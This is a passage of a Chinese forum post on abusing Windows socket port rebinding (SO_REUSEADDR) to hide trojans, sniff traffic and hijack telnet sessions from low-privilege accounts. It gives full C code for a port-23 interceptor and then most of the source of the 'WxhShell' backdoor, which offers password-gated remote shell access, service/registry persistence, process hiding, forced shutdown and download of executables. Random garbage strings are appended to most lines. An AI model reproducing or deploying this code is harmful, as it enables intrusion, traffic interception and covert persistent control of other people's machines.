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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {7o#Ve  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gT+/nSrLV  
enoj4g7em^  
  saddr.sin_family = AF_INET; i;[y!U  
FhE{khc#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1v o)]ff  
azcPeAe  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <N<Q9}`V  
+Y\:Q<eMFg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }\pI`;*O|  
PT"}2sR)  
  这意味着什么?意味着可以进行如下的攻击: tF2"IP.  
~5 ^Jv m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3Ob.OwA  
R[WiW RfD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |"H 2'L$  
~z,o):q1 }  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (!j#u)O  
6CJMQi,kn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8;PkuJR_]  
5J5si<v25  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IThd\#=  
&W `xZyb3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R>Ra~ b  
n|`3d~9$&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n ]ikc|  
XtF m5\U  
  #include GK?ual1  
  #include HpwMm^  
  #include V\V /2u5-  
  #include    [ oWkd_dK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KKeMi@N  
  int main() %!|w(Povq  
  { }d$-:l ,w  
  WORD wVersionRequested; L`NIYH<^  
  DWORD ret; JAbUK[:K  
  WSADATA wsaData; BD g]M/{  
  BOOL val; <@<rU:o=V  
  SOCKADDR_IN saddr; J[ds.~ $  
  SOCKADDR_IN scaddr; V\~.  
  int err; 5dBftTv?  
  SOCKET s; #6sz@XfV  
  SOCKET sc; *zfgO pK  
  int caddsize; \l+v,ELX=  
  HANDLE mt; $ /VQsb  
  DWORD tid;    %Bq~b$  
  wVersionRequested = MAKEWORD( 2, 2 ); Bx\&7|,x  
  err = WSAStartup( wVersionRequested, &wsaData ); DM.lQ0xk  
  if ( err != 0 ) { r8k(L{W  
  printf("error!WSAStartup failed!\n"); f^c+M~\JKj  
  return -1; qsj{0Go  
  } {C1crp>q  
  saddr.sin_family = AF_INET; A~ya{^}  
   sXKkZ+2q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k.T=&0J_1  
LZ*8YNp1'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  0^;2  
  saddr.sin_port = htons(23); Kg@'mG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f%Q)_F[0D4  
  { _ _Of0<  
  printf("error!socket failed!\n"); =KRM`_QShg  
  return -1; TS<d?:  
  } jnH\}IB  
  val = TRUE; XxqGsGx4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZsGvv]P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (Wzp sDte  
  { > A#5` $i  
  printf("error!setsockopt failed!\n"); &$"#hGg  
  return -1; Lp`.fn8Ln  
  } k.@![w\ea  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z9{~t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Hq@+m!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Daf|.5>(@  
:uL<UD,vu3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;m/e|_4;y  
  { _k84#E0  
  ret=GetLastError(); O&%'j  
  printf("error!bind failed!\n"); r924!zdbR  
  return -1; %L|fTndKH  
  } U,<m%C"  
  listen(s,2); l.YE@EL  
  while(1) HB07 n4 |  
  { =C %)(|  
  caddsize = sizeof(scaddr); bQ< qdGa  
  //接受连接请求 <'y<8gpM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;p`1Y<d-O  
  if(sc!=INVALID_SOCKET) 24sMX7Q,i  
  { XqH@3Ehk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V&mkS  
  if(mt==NULL) I16FVdUun4  
  { ;Iu _*U9)  
  printf("Thread Creat Failed!\n"); Met?G0[  
  break; {gMe<y  
  } k %I83,+  
  } 8NN+Z<  
  CloseHandle(mt); ]ua3I}_B6v  
  } hA=uoe\  
  closesocket(s); y:G%p3h)[  
  WSACleanup(); m$0W^u  
  return 0; EOPx 4+o  
  }   Y&2FH/(M  
  DWORD WINAPI ClientThread(LPVOID lpParam) }T5@P {3P3  
  { LF|0lAr  
  SOCKET ss = (SOCKET)lpParam; ^:9a1{L[  
  SOCKET sc; r" H::A  
  unsigned char buf[4096]; Ds1h18  
  SOCKADDR_IN saddr; *P mZqe  
  long num; fRp]  
  DWORD val; I{Du/"r#  
  DWORD ret; n,I3\l9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ly0R'4j \  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D(b01EQ;d  
  saddr.sin_family = AF_INET; :e<jD_.X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MU<(O}  
  saddr.sin_port = htons(23); 6?Ncgj &@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Om3Ayk}  
  { InPE_  
  printf("error!socket failed!\n"); >?g@Nt8  
  return -1; j^G=9r[,  
  } >%/x~UFc5  
  val = 100; yT ^x0?U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {16a P  
  { WjD885Xo  
  ret = GetLastError(); J)nK9  
  return -1; mhbczVw  
  } >ohCz@~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 41 F;X{Br  
  { N8A)lYT]_u  
  ret = GetLastError(); .?}M(mL  
  return -1; c *KE3:  
  } ~IhAO}1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9a`Lr B  
  { RhWQ:l]  
  printf("error!socket connect failed!\n"); Y RZ\nun  
  closesocket(sc); GDu^P+^  
  closesocket(ss); }[0nTd  
  return -1; qqDg2,Yb  
  } Z\ hcK:  
  while(1) =v2 |QuS$  
  { ;lObqs*?>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2|pTw5z~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -wU]L5uP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (/y8KG 3  
  num = recv(ss,buf,4096,0); .Fb#j+Lq  
  if(num>0) ~yv7[`+Tgg  
  send(sc,buf,num,0); ]545:)Q1  
  else if(num==0) (\\;A?  
  break; D4%J!L<P  
  num = recv(sc,buf,4096,0); @3`5(xwzm  
  if(num>0) =rKJJa N  
  send(ss,buf,num,0); b.*LmSX#  
  else if(num==0) c^}G=Z1@  
  break; yan^\)HZ  
  } \Qml~?$@lH  
  closesocket(ss); tYA@J["^  
  closesocket(sc); /x3*oO1  
  return 0 ; pBtO1x6x/  
  } `[H^ `   
:7e*- '  
gt{kjrTv&  
========================================================== _CD~5EA:  
WD5J2EePT  
下边附上一个代码,,WXhSHELL (MGg r  
J[lC$X[  
========================================================== G ;j1zs  
@*%3+9`yq  
#include "stdafx.h" ? AfThJc  
a4:GGzt  
#include <stdio.h> 0ix(1`Z  
#include <string.h> >u=  
#include <windows.h> "FHJ_$!  
#include <winsock2.h> C?qRZB+W#  
#include <winsvc.h> xG!~TQ  
#include <urlmon.h> ^ `LqNG  
P2n8HFi  
#pragma comment (lib, "Ws2_32.lib") cSL6V2F  
#pragma comment (lib, "urlmon.lib") *\ii +f-  
I`_2Q:r  
#define MAX_USER   100 // 最大客户端连接数 (%_X{R'  
#define BUF_SOCK   200 // sock buffer f:Pl Mv!{  
#define KEY_BUFF   255 // 输入 buffer 8eqTA8$?  
TV`1&ta  
#define REBOOT     0   // 重启 h)Y] L#R  
#define SHUTDOWN   1   // 关机 ~  QRjl  
o z*;q]  
#define DEF_PORT   5000 // 监听端口 RV~t%Sw^  
m6R/,  
#define REG_LEN     16   // 注册表键长度 =3-=p&*  
#define SVC_LEN     80   // NT服务名长度 3IYFvq~  
kf@JEcKV  
// 从dll定义API  h,/Aq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )kep:-wm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ZMbJe%L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rrL.Y&DTK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [,Ehu<mEK  
L<FXtBJ  
// wxhshell配置信息 E{ /, b)  
struct WSCFG { /LFuf`bXV  
  int ws_port;         // 监听端口 vyZ&%?{*R  
  char ws_passstr[REG_LEN]; // 口令 dN5{W0_  
  int ws_autoins;       // 安装标记, 1=yes 0=no uV:R3#^  
  char ws_regname[REG_LEN]; // 注册表键名 7z? ;z<VJ  
  char ws_svcname[REG_LEN]; // 服务名 E#!N8fQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  kN=&"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,I"T9k-^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !!\}-r^y%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @}y.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HOx4FXPs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oq7G=8gTp  
C1 ^%!)  
}; <::lfPP  
>/ay'EyY;>  
// default Wxhshell configuration Zn9tG:V  
struct WSCFG wscfg={DEF_PORT, 8-#kY}d.  
    "xuhuanlingzhe", 3ijPm<wn  
    1, !hVbx#bXl  
    "Wxhshell", ///Lg{ ie  
    "Wxhshell", 96w2qgc2  
            "WxhShell Service", bK:U:vpYm  
    "Wrsky Windows CmdShell Service", 0?54 8yH  
    "Please Input Your Password: ", ?^VPO%  
  1, ZR1U&<0c@  
  "http://www.wrsky.com/wxhshell.exe", FKO2UY#&7  
  "Wxhshell.exe" `D;*.zrA  
    }; oU|G74e6  
V'9.l6l   
// 消息定义模块 4Y(@ KUb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iC3z5_g*@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _(-jk4 L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PC9,;T&7_  
char *msg_ws_ext="\n\rExit."; ~| j  eNT  
char *msg_ws_end="\n\rQuit."; Q:b0M11QR  
char *msg_ws_boot="\n\rReboot..."; i"&FW&W  
char *msg_ws_poff="\n\rShutdown..."; &nIu^,.  
char *msg_ws_down="\n\rSave to "; 0&s6PS%  
,l~<|\4,wv  
char *msg_ws_err="\n\rErr!"; |aDBp  
char *msg_ws_ok="\n\rOK!"; ~N!HxQ  
k6CXuU  
char ExeFile[MAX_PATH]; Mj;V.Y  
int nUser = 0; H,}&=SCk  
HANDLE handles[MAX_USER]; W6<oy  
int OsIsNt; F! !HwI  
>!Yuef <P  
SERVICE_STATUS       serviceStatus; [6a-d> e{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y,s EM%  
+gd5&  
// 函数声明 t"$~o:U&)  
int Install(void); b`X''6  
int Uninstall(void); mG S4W;  
int DownloadFile(char *sURL, SOCKET wsh); z>W:+W"o  
int Boot(int flag); ^}+\52w  
void HideProc(void); >._d2.Q'  
int GetOsVer(void); Uxjc&o  
int Wxhshell(SOCKET wsl); -leX|U}k  
void TalkWithClient(void *cs); f3O6&1D  
int CmdShell(SOCKET sock); oz&`3`  
int StartFromService(void); 6:5K?Yo  
int StartWxhshell(LPSTR lpCmdLine); \D|IN'!D  
C6)Y ZC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~&RTLr#\*M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %jHm9{|X  
_)45G"M  
// 数据结构和表定义 wqo:gW_  
SERVICE_TABLE_ENTRY DispatchTable[] = #Ha:O,|  
{ ) lUS'I  
{wscfg.ws_svcname, NTServiceMain}, os5$(  
{NULL, NULL} Vg'R=+Wb  
}; E7$&:xqx  
[[|#}D:L  
// 自我安装 V}V->j*  
int Install(void) vK!`#W`X  
{ *s4|'KS2o  
  char svExeFile[MAX_PATH]; [Vs\r&qL  
  HKEY key; iaL@- dg  
  strcpy(svExeFile,ExeFile); ~ YH?wdT  
E`TZ:W]r,  
// 如果是win9x系统,修改注册表设为自启动 @6UtnX'd  
if(!OsIsNt) { a/ A c^!(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ko@ej^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L"ho|v9:  
  RegCloseKey(key); `N\ ^JAGW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :{a< ~n`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g`pq*D  
  RegCloseKey(key); mn@1&#c4y  
  return 0; ZxvH1qx8  
    } es7;eH*O9  
  } 8$NVVw]2,  
} YNBM\Q  
else { =2&\<Q_Fi  
b~zSsws.  
// 如果是NT以上系统,安装为系统服务 'OnfU{Ai  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S# ]] h/  
if (schSCManager!=0) Xz4q^XJ  
{ Xmr}$<<=  
  SC_HANDLE schService = CreateService == wX.y\.n  
  ( B_d\eD  
  schSCManager, t/[lA=0 )2  
  wscfg.ws_svcname, yv-R<c!'  
  wscfg.ws_svcdisp, e bze_:  
  SERVICE_ALL_ACCESS, +iC:/CJL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }T[ @G6#  
  SERVICE_AUTO_START, kx&JY9(&#  
  SERVICE_ERROR_NORMAL, ins(RWO  
  svExeFile, b^HDN(v  
  NULL, \=0;EI-j  
  NULL, ]1++$Ej  
  NULL, )|*Qs${tF  
  NULL, d7^ `  
  NULL v_zt$bf{Y  
  ); q=3>ij {v  
  if (schService!=0) D=ej%]@iw  
  { Mqr]e#"o  
  CloseServiceHandle(schService); F?6kkLS/  
  CloseServiceHandle(schSCManager); EA~xxKq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d[t0K]  
  strcat(svExeFile,wscfg.ws_svcname); _s;y0$O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q# hRnM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P8m0]T.&x  
  RegCloseKey(key); i\CA6I  
  return 0; 7RT{RE  
    } wm@j(h4  
  } B?%u< F  
  CloseServiceHandle(schSCManager); lfAy$qP"}  
} $$ND]qM$M  
} Iynks,ikA  
2BC!,e$Z  
return 1; qlcd[Y*B  
} _\>y[e["p  
2mEqfy  
// 自我卸载 W|2^yO,dX  
int Uninstall(void) VV Q~;{L  
{ Fizrsr 6%  
  HKEY key; ;"&?Okz  
%<kfW&_>w  
if(!OsIsNt) { {jD?obs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jnqp" Ult>  
  RegDeleteValue(key,wscfg.ws_regname); LGL;3EI  
  RegCloseKey(key); k*A(7qQA`4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (GRW(Zd4  
  RegDeleteValue(key,wscfg.ws_regname); ~k34#j:J65  
  RegCloseKey(key); IGTO|sT"  
  return 0; ()6% 1zCO  
  } A'w+Lc.2  
} "c[>>t  
} 4(\1z6?D  
else { b=Nsz$[  
!5dn7Wuj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u [qy1M0  
if (schSCManager!=0) U,2OofLM  
{ St?mq* ,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `&NFl'l1C  
  if (schService!=0) '5aA+XP|  
  { "5eD >!  
  if(DeleteService(schService)!=0) { lB27Z}   
  CloseServiceHandle(schService); oI -Fr0!  
  CloseServiceHandle(schSCManager); 2- L-=0  
  return 0; #:" ]-u^  
  } #w L(<nE  
  CloseServiceHandle(schService); I0Do%  
  } _j+,'\B  
  CloseServiceHandle(schSCManager); *{?2M6Z  
} N d>zq  
} s>;"bzzq  
v Z10Rb8  
return 1; Fe[6Y<x+:  
} sA6HkB.  
No\#N/1@P  
// 从指定url下载文件 (&m1*  
int DownloadFile(char *sURL, SOCKET wsh) 5tv*uz|fv  
{ GYw/KT~$  
  HRESULT hr; u|23M,  
char seps[]= "/"; 8!v|`Ky  
char *token; `x=kb;  
char *file; DQhHU1  
char myURL[MAX_PATH]; n^QDMyC;I  
char myFILE[MAX_PATH]; m@nGXl'!  
fyUW;dj  
strcpy(myURL,sURL); qF3S\ C  
  token=strtok(myURL,seps); gS(JgN  
  while(token!=NULL) _$*-?*V&  
  { 'tTlBf7#  
    file=token; Db2#QQ  
  token=strtok(NULL,seps); ?Ho$fGz  
  } fXevr `  
h`fZ 8|yw  
GetCurrentDirectory(MAX_PATH,myFILE); "Io-%S u+  
strcat(myFILE, "\\"); 3Dc^lfn  
strcat(myFILE, file);  ~@@t-QY  
  send(wsh,myFILE,strlen(myFILE),0); F@/syX;bb5  
send(wsh,"...",3,0); TJ>YJ D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kk126?V]_  
  if(hr==S_OK) w32F?78]  
return 0; 6AD&%v  
else 3>(~5  
return 1; &[\zs&[@y  
>`3 0 ib  
} 9^S rOW6~  
 UDpI @  
// 系统电源模块 a w~a /T:  
int Boot(int flag) <\:*cET3  
{ nb5%a   
  HANDLE hToken; D622:Y886  
  TOKEN_PRIVILEGES tkp; unL1/JY z  
JmF`5  
  if(OsIsNt) { avS9"e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); " 6$+B/5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dkEnc  
    tkp.PrivilegeCount = 1; + $~HRbo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 17Q* <iCs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UIQ=b;J9  
if(flag==REBOOT) { u@wQ )^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jaThS!>v  
  return 0; I |D]NY^  
} :+DAzjwO<  
else { n O}x,sG2'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9 DXu*}  
  return 0; 43J8PMY  
} Sdmynuv U  
  } ]*S_fme  
  else { XeBSHvO_  
if(flag==REBOOT) { Qe/=(P<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U|h@Pw z  
  return 0; _Q;M$.[zyR  
} 7L:R&W6  
else { Y@'1}=`J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OaxE3bDT  
  return 0; 5Q72.4HH  
} Z42v@?R.!W  
} VA'<  
kqAQrg]n  
return 1; ]O&A:Us  
} o:Z*F0qm  
s?K4::@Fv  
// win9x进程隐藏模块 H "?-&>V-  
void HideProc(void) s: q15"  
{ skP_us~  
.'AHIR&>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zsRN\U  
  if ( hKernel != NULL ) j'0*|f^z  
  { M!6bf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IO_H%/v"jC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <u($!ATb  
    FreeLibrary(hKernel); 8QZk0O  
  } 3yD5u  
yxQAO_C  
return; |QgXSe7  
} (U dDp"/  
01q7n`o#zf  
// 获取操作系统版本 Q}.y"|^  
int GetOsVer(void) {}^ELw  
{ zB]T5]  
  OSVERSIONINFO winfo; hJ4.:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K :q-[\G  
  GetVersionEx(&winfo); IKr7"`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sBu"$ "]  
  return 1; ;^8^L'7cr  
  else o5$K^2^g  
  return 0; {4m"S 7O  
} nG*6ic  
EhUy7b,1_  
// 客户端句柄模块 7ER 2 h*  
int Wxhshell(SOCKET wsl) |8`;55G  
{ qRGb3l  
  SOCKET wsh; #f~a\}$I  
  struct sockaddr_in client; !^fJAtCN]  
  DWORD myID; t(rU6miN  
"=n8PNV/ c  
  while(nUser<MAX_USER) TxCQGzqe  
{ {n{}Y.  
  int nSize=sizeof(client); |O9=C`G_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n1/lE)  
  if(wsh==INVALID_SOCKET) return 1; enzQ}^  
2!otVz! Mh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _Lb& 2 PAG  
if(handles[nUser]==0) KJ)&(Yx  
  closesocket(wsh); nm-Y?!J  
else _dBU6U:V  
  nUser++; ` ;=Se_  
  } yrs3`/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UQcmHZ+lf  
c6m,oS^  
  return 0; 8)!;[G|  
} Fb' wC  
Zn0fgQd  
// 关闭 socket kZ9pgdI  
void CloseIt(SOCKET wsh) A,e^bM  
{ `x VA]GR4c  
closesocket(wsh); L>b,}w  
nUser--; gAY2|/,  
ExitThread(0); 6<Wr 8u,  
} urB3  
[AzN&yACE  
// 客户端请求句柄 5Z,lWp2A  
void TalkWithClient(void *cs) jf/9]`Hf  
{ ;#i$0~lRl  
q_&IZ,{Vk  
  SOCKET wsh=(SOCKET)cs; <6~;-ZQY  
  char pwd[SVC_LEN]; !?*!"S-Sl  
  char cmd[KEY_BUFF]; LeyDs>! 0  
char chr[1]; 5,ahKB8  
int i,j; 6w;|-/:`  
.A/H+.H;  
  while (nUser < MAX_USER) { q)b?X ^  
iGMONJRO  
if(wscfg.ws_passstr) { Gnt!!1_8L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ]:fCyIE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p&mtKLv  
  //ZeroMemory(pwd,KEY_BUFF); Y`?X Fy:  
      i=0; # :w2Hf6Q  
  while(i<SVC_LEN) { F5MPy[  
S\;.nAR  
  // 设置超时 -$t,}3  
  fd_set FdRead; <,4(3 >js  
  struct timeval TimeOut; veg!mY2&  
  FD_ZERO(&FdRead); /$,=>  
  FD_SET(wsh,&FdRead); 1T,PC?vr{  
  TimeOut.tv_sec=8;  ja- ~`  
  TimeOut.tv_usec=0; b_Jq=Gk`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +|YZEC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c@7hLUaE2  
O f@#VZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {dXBXC/Ju  
  pwd=chr[0]; '\B"g@if  
  if(chr[0]==0xd || chr[0]==0xa) { "nno)~)u  
  pwd=0; otD?J= B  
  break; *yq]  
  } zn1Rou]6  
  i++; ~C7<a48x  
    } ;OU>AnWr(&  
;;hyjFGq%  
  // 如果是非法用户,关闭 socket ]NV ]@*`tO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zf>^2t*\  
} xevP2pYG:  
n(YHk\2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0DVZRB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  &Z!K]OSY  
H&Y{jqua  
while(1) { Y*cJ4hQ  
>-5Gt  
  ZeroMemory(cmd,KEY_BUFF); SuH.lCF-g  
M6iO8vY  
      // 自动支持客户端 telnet标准   yL x .#kx6  
  j=0; vSC0D7BlG  
  while(j<KEY_BUFF) { ,]_(-tyN|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v#]v,C-*  
  cmd[j]=chr[0]; EQ63VF  
  if(chr[0]==0xa || chr[0]==0xd) { Jhy t)@7/,  
  cmd[j]=0; 6.h   
  break; 7Ljj#!`lUp  
  } =/JF-#n/MA  
  j++; 6y,P4O*q  
    } _s^:zPl  
i(yAmo9h  
  // 下载文件 L\wpS1L(  
  if(strstr(cmd,"http://")) { 5YI/Ec  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F0'A/T'ht  
  if(DownloadFile(cmd,wsh)) 9Jy2T/l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AYA&&b  
  else W#jZRviyq!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tWSvxGCzn%  
  } R=9~*9  
  else { u@_!mjXQ  
t_>bTcsU  
    switch(cmd[0]) { dEd]U49u  
  B5,QJ W*  
  // 帮助 k)usUP'  
  case '?': { koEX4q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UcLNMn|  
    break; VMZ]n%XRXW  
  } ]ZKt1@4AY  
  // 安装 o47 f  
  case 'i': { V l~Y  
    if(Install()) C7 ]DJn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f UF;SqT  
    else EhIV(q9x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7XVzd]jH  
    break; Ur([L&  
    } Fb|e]?w  
  // 卸载 grCO-S|j^  
  case 'r': { e@:P2(WW l  
    if(Uninstall()) En,)}yI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ..]*Ao2  
    else ..q63dr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5&<d2EG6l'  
    break; r!.+XrYg  
    } OS"{"P  
  // 显示 wxhshell 所在路径 6i]Nr@1C  
  case 'p': { @Xve qUUU  
    char svExeFile[MAX_PATH]; ^5;vx  
    strcpy(svExeFile,"\n\r"); Cv>yAt.3  
      strcat(svExeFile,ExeFile); Cgz&@@j,]  
        send(wsh,svExeFile,strlen(svExeFile),0); # 5y9L  
    break; &N"'7bK6n  
    } 1C0Y0{6,  
  // 重启 i5 L:L  
  case 'b': { X`fhln9N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VelB-vy&  
    if(Boot(REBOOT)) &\1'1`N1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6.U  "_%  
    else { }z%OnP  
    closesocket(wsh); /lLov.  
    ExitThread(0); v}F4R $  
    } 9Qzjqq:"Li  
    break; mW~i c  
    } <$jKy3@  
  // 关机 {H=oxa  
  case 'd': { ;RWW+x8IB  
